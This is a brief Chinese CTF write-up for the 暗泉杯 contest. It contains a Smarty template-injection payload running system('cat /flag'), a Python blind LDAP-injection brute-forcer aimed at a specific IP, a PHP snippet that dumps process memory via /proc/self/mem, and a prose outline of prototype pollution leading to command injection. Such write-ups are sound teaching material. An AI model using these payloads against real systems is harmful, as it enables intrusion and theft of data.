暗泉杯

趁大佬去打hitcon，偷偷捡个小比赛的漏，直接被带飞了

签到

把页面全部打印的字符顺序弄好，base64一下即可

[萌]odd_upload

打开页面提示smarty框架，然后还发现了/templates目录。
尝试上传php文件，后缀禁止。然后github搜索smarty框架，发现可以解析tpl模版文件。
直接上传index.tpl文件到./templates，内容为{7*7}
直接返回49
然后直接改内容为{system('cat /flag')}即可

easyinject

ldap注入
https://www.anquanke.com/post/id/212186#h2-8
发现可疑字段前缀ldap

import time
import requests
url = 'http://47.106.172.144:2333/?user='
result = 'ldap'
temp = 'ldap'
i = 1
while (1):
    # left = 32
    # right = 128
    for i in range(33, 128):
        if chr(i) == '*' or chr(i) == '&' or chr(i) == '+':
            continue
        data = "nss)(mail={}*))%00&pass=asd".format(temp + chr(i))
        res = requests.get(url=url + data).text
        # print(url + data)
        # print(url + data + '&username[2]=1')
        if '查询用户不唯一' in res:
            result = temp + chr(i)
            temp = result
            print(result)
            break
        if i == 127:
            i = ord(result[0]) + 1
            result = ''
            temp = ''

print('[*]Result ' + result)

hideandseek

/proc/self/maps开头的内容：

555c8f800000-555c8f91c000 r--p 00000000 fc:01 4173278                    /usr/local/bin/php
555c8fa00000-555c8fe12000 r-xp 00200000 fc:01 4173278                    /usr/local/bin/php
555c90000000-555c9090b000 r--p 00800000 fc:01 4173278                    /usr/local/bin/php
555c90b54000-555c90c00000 r--p 01154000 fc:01 4173278                    /usr/local/bin/php
555c90c00000-555c90c07000 rw-p 01200000 fc:01 4173278                    /usr/local/bin/php
555c90c07000-555c90c28000 rw-p 00000000 00:00 0  
555c920b2000-555c922f0000 rw-p 00000000 00:00 0                          [heap]
7f6045800000-7f6045a00000 rw-p 00000000 00:00 0  
7f6045a64000-7f6045ae5000 rw-p 00000000 00:00 0
7f6045b0e000-7f6045b1a000 r--p 00000000 fc:01 4173265                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0

猜测$flag的内容在[heap]周围

eval以下代码，导出这块内存

$maps = file_get_contents('/proc/self/maps');
$mapsarray = explode(PHP_EOL, $maps);
foreach($mapsarray as $line){
       if(strpos($line, 'php')!==false){
               continue;
       } else if (strpos($line, 'lib')!==false){
               return;
       }
       $start = intval(substr($line, 0, 12), 16);
       $stop = intval(substr($line, 13, 12), 16);
       $len = $stop - $start;
       $mem = fopen('/proc/self/mem', 'rb');
       fseek($mem, $start);
       $content = fread($mem, $len);
       echo base64_encode($content);
}

dirtyrce

dirty联想到原型链污染
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
看到可疑判断 ping的属性个数!=1,能够绕过判断ip，利用ip命令执行
想到将ip放到prototype内，这样在调用ping.ip时找不到，之后会尝试ping.__proto__.ip，
思路捋清。